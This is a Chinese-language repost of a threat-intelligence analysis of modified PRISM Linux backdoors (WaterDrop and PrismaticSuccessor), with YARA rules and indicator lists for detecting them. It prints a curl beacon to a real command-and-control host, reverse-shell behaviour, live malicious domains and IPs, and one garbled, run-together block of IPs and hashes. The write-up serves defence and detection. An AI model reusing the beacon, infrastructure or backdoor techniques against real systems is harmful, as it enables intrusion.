潛伏四年,利用PRISM後門的攻擊者

眾號:滲透師老A

專注分享滲透經驗,乾貨技巧。。。

AT&T 的安全研究人員最近發現了一組隱蔽性極強的 ELF 可執行檔案,它們在 VirusTotal 上的殺軟檢出率很低或為零。

在分析樣本後,AT&T 已將它們確定為多個攻擊者在多次攻擊行動中使用的開源 PRISM 後門的修改版。

深入分析了使用這些惡意軟體的攻擊活動,在長達三年半的時間內這些攻擊者仍然保持活躍。

最早的攻擊行動中的樣本出現在 2017 年 11 月 8 日。

潛伏四年,利用PRISM後門的攻擊者

WaterDrop 分析

WaterDrop 的變種很容易識別,它包含一個名為 xencrypt的函式,該函式使用硬編碼的單位元組 0x1F金鑰執進行異或加密。

從 WaterDrop 變種的第 7 版開始,惡意樣本也包含純文字字串 WaterDropx vX started,其中 X 是惡意樣本的版本號。

到目前為止,已經觀察到版本 1、2。2 和 3 使用 PRISM 命名,而版本 7、9 和 12 被命名為 WaterDropx。

WaterDrop 使用 agent-waterdropx作為 User-Agent 進行 HTTP 協議的 C&C 通訊,C&C 使用 waterdropx。com 域名的子域名。

儘管這些都是非常明顯的特徵,但攻擊者仍然保持了在 VirusTotal 上極低的檢出率,這可能是因為攻擊行動的規模較小。

攻擊者在 2017 年 8 月 18 日註冊 waterdropx。com 域名。截至 2021 年 8 月 10 日,該域名仍在使用。

除了 PRISM 的基本功能外,WaterDrop 還額外引入了異或加密與定期輪詢 C&C 伺服器的功能。

潛伏四年,利用PRISM後門的攻擊者

惡意軟體與 C&C 伺服器的通訊是純文字 HTTP 協議,且所有版本的惡意軟體都使用了 agent-waterdropx作為 User-Agent。

一些變種還會在以 root 許可權執行時載入核心模組。

潛伏四年,利用PRISM後門的攻擊者

版本進化

PRISM v1

第一個版本的樣本就是使用 waterdropx。com 作為 C&C 域名的攻擊者使用的,他們的 User-Agent 相同。

與公開的 PRISM 相比,該版本建立了子程序,該子程序不斷向 C&C 伺服器輪詢要執行的命令。

curl -A ‘agent-waterdropx’ ‘http://r。waterdropx。com:13858/tellmev2。x?v=1&act=touch’

第一個版本的樣本沒有對惡意樣本進行任何混淆、加殼或者加密。

PRISM v2.2

2。2 版本的 PRISM 開始使用異或加密來處理敏感資料,例如使用的 shell 命令等。

單位元組金鑰硬編碼為 0x1F,該金鑰用於發現同一攻擊者的所有樣本。

對於這個版本的惡意軟體,初始的 C&C URI 請求格式是:

/tellmev2。x?v=2。2&act=touch

PRISM v3

3 版本的 PRISM 與 2。2 版本基本相同,額外多了 BOT ID 被儲存到 /etc/。xid。

潛伏四年,利用PRISM後門的攻擊者

初始請求格式為:

/tellmev2。x?v=3&act=touch&xid=

PRISM v7

Waterdrop v7 引入了核心模組的使用,如果程序具有 root 許可權,則使用 insmod 安裝。安全分析人員暫時無法確定此 Payload 的用途。

其餘程式碼與 PRISM v3 相同,僅更改了硬編碼版本號。其初始請求格式為:

/tellmev2。x?v=7&act=touch&xid=

PRISM v9

延續之前版本的風格,Waterdrop v9 的變化微乎其微。

在這個版本中發現的唯一變化是,使用 BOT ID 作為 ICMP 密碼來生成反向 Shell,而不是使用硬編碼的 ICMP 密碼。

初始請求格式為:

/tellmev2。x?v=9&act=touch&xid=

PRISM v12

Waterdrop v12 與其前序版本幾乎相同,但增強了後門的穩定性。

其初始請求格式為:

/tellmev2。x?v=12&act=touch&xid=

惡意軟體家族 PrismaticSuccessor

域名 z0gg。me 可解析為由另外 12 個域名共享的 IP 地址。

潛伏四年,利用PRISM後門的攻擊者

一些存在重疊的域名是已知的 PRISM 的 C&C 域名,但 z0gg。me 也與幾個其他惡意樣本存在關聯。

特別是,觀察到與 https://github。com/lirongchun/i儲存庫有關。

在這個儲存庫中,可以觀察到以下檔案:

三個包含 IP 地址(README。md)和埠號(README1。md 和 MP。md)的文件

針對髒牛(CVE-2016-5195)漏洞的 Bash 指令碼,名為

111

幾個 ELF 二進位制檔案,包括:

1。git:自定義惡意軟體植入工具

2。ass:為 x64 架構編譯的名為

hide my ass

的開源安全工具

3。ass32:為 x86 架構編譯的名為

hide my ass

的開源安全工具

由於攻擊者使用公共 GIT 儲存庫來託管其惡意軟體和基礎設施資訊,可以檢視歷史資料觀察其演變。

例如,我們可以使用以下命令收集參與者用作 C&C 伺服器的所有 IP 地址:

$ git log -p README。md |grep “^+”|grep -v “++++45。199。88[。]86+154。48。227[。]27+207。148。118[。]141+154。48。227[。]27+165。22。136[。]80+154。48。227[。]27+156。236。110[。]79+43。230。11[。]125+172。247。127[。]136+127。0。0[。1]+192。168。3[。]173+192。168。3[。]173:80+192。168。3[。]173+118。107。180[。]8+s。rammus[。]me+s。rammus[。]me:80+192。168。3[。]150:80+192。168。3[。]150^80+192。168。3[。]150^+^192。168。3[。]150+^192。168。3[。]133$ shasum -a 256 *933b4c6c48f82bbb62c9b1a430c7e758b88c03800c866b36c2da2a5f72c93657 MP。outf19043c7b06db60c8dd9ff55636f9d43b8b0145dffe4c6d33c14362619d10188 giteeabee866fd295652dd3ddbc7552a14953d91b455ebfed02d1ccdee6c855718d git (1)3a4998bb2ea9f4cd2810643cb2c1dae290e4fe78e1d58582b6f49b232a58575a git (2)3366676681a31feadecfe7d0f5db61c4d6085f5081b2d464b6fe9b63750d4cd8 git (3)cc3752cc2cdd595bfed492a2f108932c5ac28110f5f0d30de8681bd10316b824 git (4)baf2fa00711120fa43df80b8a043ecc0ad26edd2c5d966007fcd3ffeb2820531 git (5)eb64ee2b6fc52c2c2211018875e30ae8e413e559bcced146af9aa84620e3312f git443d1d65b9d3711871d8f7ad1541cfbb7fa35ecc1df330699b75dd3c1403c754278 git5377ddc6be62724ca57ff45003c5d855df5ff2b234190290545b064ee4e1145f63 gitest1de9232f0bec9bd3932ae3a7a834c741c4c378a2350b4bbb491a102362235017 hostname7ed15e59a094ca0f9ccac4c02865172ad67dcfc5335066f67fe3f11f68dd7473 ps1eb6973f70075ede421bed604d7642fc844c5a47c53d0fb7a9ddb21b0bb2519a wm6f983303bb82d8cc9e1ebf8c6c1eb7c17877debc66cd1ac7c9f78b24148a4e46 wm (1)e4fe57d9d2c78a097f38cba7a9aad7ca53da24ecbcad0c1e00f21d34d8a82de4 wm32b08d48cc12c6afa5821a069bd6895175d5db4b5a9dde4e04d587c3dec68b1920 wmgithub

按大小進行分組,可以發現大約 15K 的樣本是 PRISM 後門,而大約 1。1 MB 的樣本是另外的惡意軟體。

攻擊者在 2019 年 7 月 16 日提交了自定義 implant,該惡意軟體使用修改版的 UPX 加殼。

潛伏四年,利用PRISM後門的攻擊者

惡意軟體明顯變大是由於二進位制檔案靜態編譯進了 libcurl,AT&T 將這個惡意軟體家族命名為 PrismaticSuccessor。

分析可知,配置由兩個 URL 組成:

HostUrl 用於獲取 C&C 主機

PortUrl 用於獲取埠號

執行後會嘗試加鎖 /var/lock/sshd。lock來當作互斥量。

潛伏四年,利用PRISM後門的攻擊者

接下來,惡意軟體解密包含程序名稱的字串,該字串用於覆蓋 argv。

潛伏四年,利用PRISM後門的攻擊者

請注意,aMcwfkvf 變數包含 [mcwfkvf]值,該值在 src中被解密為 [kauditd]。

解密使用 ROT13,金鑰為 -2。這個 ROT13 只處理大小字母,不處理符號和數字。

潛伏四年,利用PRISM後門的攻擊者

接下來,惡意軟體透過子程序進行多工處理。

潛伏四年,利用PRISM後門的攻擊者

某個子程序會開啟一個硬編碼 C&C 伺服器的反向 Shell 會話,配置中最多有三個 C&C 地址(z0gg。me、x63。in 和 x47。in)並使用 ROT13 加密。

潛伏四年,利用PRISM後門的攻擊者

伺服器還需要使用密碼進行回覆,以便成功建立反向 Shell。

惡意軟體會計算回覆緩衝區的 MD5 雜湊值,並將其與硬編碼值 ef4a85e8fcba5b1dc95adaa256c5b482進行比較。

無論主 C&C 伺服器是否成功聯絡,都會進行通訊。

潛伏四年,利用PRISM後門的攻擊者

某個子程序透過 GitHub 獲取 C&C 主機和埠,並開啟反向 Shell。

潛伏四年,利用PRISM後門的攻擊者

潛伏四年,利用PRISM後門的攻擊者

生成 Shell 的函式與 PRISM 原始碼很相似,但不完全相同。

潛伏四年,利用PRISM後門的攻擊者

潛伏四年,利用PRISM後門的攻擊者

某個子程序跳轉到 Shellcode 異或解密,硬編碼的 8 位元組金鑰:

潛伏四年,利用PRISM後門的攻擊者

構建的命令如下所示:

潛伏四年,利用PRISM後門的攻擊者

在 StackOverflow 上也能發現有使用者抱怨被攻擊,與之相符。

其他變種

我們也觀察到其他攻擊者使用 PRISM 後門進行攻擊。

然而,在大多數情況下,攻擊者者會原樣使用原始的 PRISM 後門,而不進行任何重大修改。

某種程度上說,這也阻礙了我們正確跟蹤攻擊者的攻擊行動。

結論

PRISM 是一個開源的、簡單的後門。它的流量是清晰可辨的,惡意檔案很容易被檢測到

其 C&C 伺服器已經保持線上長達三年半。這表明,雖然受到更多關注的大型攻擊行動通常會在數小時內被檢測到,但較小的攻擊行動可能會被漏掉。

檢測方法

rule PrismaticSuccessor : LinuxMalware

{

meta:

author = ”AlienLabs“

description = ”Prismatic Successor malware backdoor“

reference = ”aaeee0e6f7623f0087144e6e318441352fef4000e7a8dd84b74907742c244ff5“

copyright = ”Alienvault Inc。 2021“

strings:

$s1 = ”echo -e \“”

$s2 = “[\x1B[32m+\x1B[0m]`/bin/hostname`”

$s3 = “[\x1B[32m+\x1B[0m]`/usr/bin/id`”

$s4 = “[\x1B[32m+\x1B[0m]`uname -r`”

$s5 = “[+]HostUrl->\t%s\n”

$s6 = “[+]PortUrl->\t%s\n”

$s7 = “/var/run/sshd。lock”

$shellcode = {

48 31 C9

48 81 E9 [4]

48 8D 05 [4]

48 BB [8]

48 31 [2]

48 2D [2-4]

E2 F4

}

$c1 = {

8B 45 ??

BE 00 00 00 00

89 C7

E8 [4]

8B 45 ??

BE 01 00 00 00

89 C7

E8 [4]

8B 45 ??

BE 02 00 00 00

89 C7

E8 [4]

8B 45 ??

BA [4]

BE [4]

89 C7

E8

}

condition:

uint32(0) == 0x464C457F and

filesize > 500KB and filesize < 5MB and

5 of ($s*) and

all of ($c*) and

#shellcode == 2

}

rule PRISM {

meta:

author = “AlienLabs”

description = “PRISM backdoor”

reference = “https://github。com/andreafabrizi/prism/blob/master/prism。c”

strings:

$s1 = “I‘m not root :(”

$s2 = “Flush Iptables:\t”

$s3 = “ Version:\t\t%s\n”

$s4 = “ Shell:\t\t\t%s\n”

$s5 = “ Process name:\t\t%s\n”

$s6 = “iptables -F 2> /dev/null”

$s7 = “iptables -P INPUT ACCEPT 2> /dev/null”

$s8 = “ started\n\n# ”

$c1 = {

E8 [4] 8B 45 ?? BE 00 00 00 00 89 C7 E8 [4] 8B 45 ?? BE 01 00 00 00

89 C7 E8 [4] 8B 45 ?? BE 02 00 00 00 89 C7 E8 [4] BA 00 00 00 00

BE [4] BF [4] B8 00 00 00 00 E8

}

$c2 = {

BA 00 00 00 00

BE 01 00 00 00

BF 02 00 00 00

E8 [4]

89 45 [1]

83 ?? ?? 00

}

condition:

uint32(0) == 0x464C457F and

filesize < 30KB and

(4 of ($s*) or all of ($c*))

}

IOC

05fc4dcce9e9e1e627ebf051a190bd1f73bc83d876c78c6b3d86fc97b0dfd8e8

0af3e44967fb1b8e0f5026deb39852d4a13b117ee19986df5239f897914d9212

0f42b737e30e35818bbf8bd6e58fae980445f297034d4e07a7e62a606d219af8

0fba35856fadad942a59a90fc60784e6cceb1d8002af96d6cdf8e8c3533025f7

342e7a720a738bf8dbd4e5689cad6ba6a4fc6dd6808512cb4eb294fb3ecf61cd

3a3c701e282b7934017-dadc33d95e0cc57e43a124f14d852f39c2657e0081683

5999c1a4a281a853378680f20f6133e53c7f6d0167445b968eb49b844f37eab5

98fe5ed342da2b5a9d206e54b5234cfeeed35cf74b60d48eb0ef3dd1d7d7bd59

a8c68661d1632f3a55ff9b7294d7464cc2f3ece63a782c962f1dc43f0f968e33

af55b76d6c3c1f8368ddd3f9b40d1b6be50a2b97b25985d2dde1288ceab9ff24

b6844ca4d1d7c07ed349f839c861c940085f1a30bbc3fc4aad0b496e8d492ce0

b8215cafbea9c61df8835a3d52c40f9d2c6a37604dd329ef784e9d92bad1f30f

b8cceb317a5d2febcd60318c1652af61cd3d4062902820e79a9fb9a4717f7ba2

be7ec385e076c1c1f676d75e99148f05e754ef5b189e006fb53016ce9aef59e0

c679600b75c6e84b53f4e6e21f3acbec1621c38940c8f3756d0b027c7a058d9c

c802fa50409edf26e551ee0d134180aa1467a4923c759a2d3204948e14a52f12

c8525243a68cba92521fb80a73136aaa19794b4772c35d6ecfec0f82ecad5207

d3fa1155810be25f9b9a889ee64f845fc6645b2b839451b59cfa77bbc478531f

dd5f933598184426a626d261922e1e82cb009910c25447b174d46e9cac3d391a

e14d75ade6947141ac9b34f7f5743c14dbfb06f4dfb3089f82595d9b067e88c2

f126c4f8b4823954c3c69121b0632a0e2061ef13feb348eb81f634379d011913

933b4c6c48f82bbb62c9b1a430c7e758b88c03800c866b36c2da2a5f72c93657

aaeee0e6f7623f0087144e6e318441352fef4000e7a8dd84b74907742c244ff5

baf2fa00711120fa43df80b8a043ecc0ad26edd2c5d966007fcd3ffeb2820531

f19043c7b06db60c8dd9ff55636f9d43b8b0145dffe4c6d33c14362619d10188

eeabee866fd295652dd3ddbc7552a14953d91b455ebfed02d1ccdee6c855718d

3a4998bb2ea9f4cd2810643cb2c1dae290e4fe78e1d58582b6f49b232a58575a

3366676681a31feadecfe7d0f5db61c4d6085f5081b2d464b6fe9b63750d4cd8

cc3752cc2cdd595bfed492a2f108932c5ac28110f5f0d30de8681bd10316b824

baf2fa00711120fa43df80b8a043ecc0ad26edd2c5d966007fcd3ffeb2820531

eb64ee2b6fc52c2c2211018875e30ae8e413e559bcced146af9aa84620e3312f

d1d65b9d3711871d8f7ad1541cfbb7fa35ecc1df330699b75dd3c1403c754278

77ddc6be62724ca57ff45003c5d855df5ff2b234190290545b064ee4e1145f63

1de9232f0bec9bd3932ae3a7a834c741c4c378a2350b4bbb491a102362235017

7ed15e59a094ca0f9ccac4c02865172ad67dcfc5335066f67fe3f11f68dd7473

1eb6973f70075ede421bed604d7642fc844c5a47c53d0fb7a9ddb21b0bb2519a

6f983303bb82d8cc9e1ebf8c6c1eb7c17877debc66cd1ac7c9f78b24148a4e46

e4fe57d9d2c78a097f38cba7a9aad7ca53da24ecbcad0c1e00f21d34d8a82de4

b08d48cc12c6afa5821a069bd6895175d5db4b5a9dde4e04d587c3dec68b1920

457467。com

zzz。457467。com

rammus。me

s。rammus。me

sw。rammus。me

wa1a1。com

www。wa1a1。com

waterdropx。com

r。waterdropx。com

spmood222。mooo。com

z0gg。me

x63。in

x47。in

45。199。88。86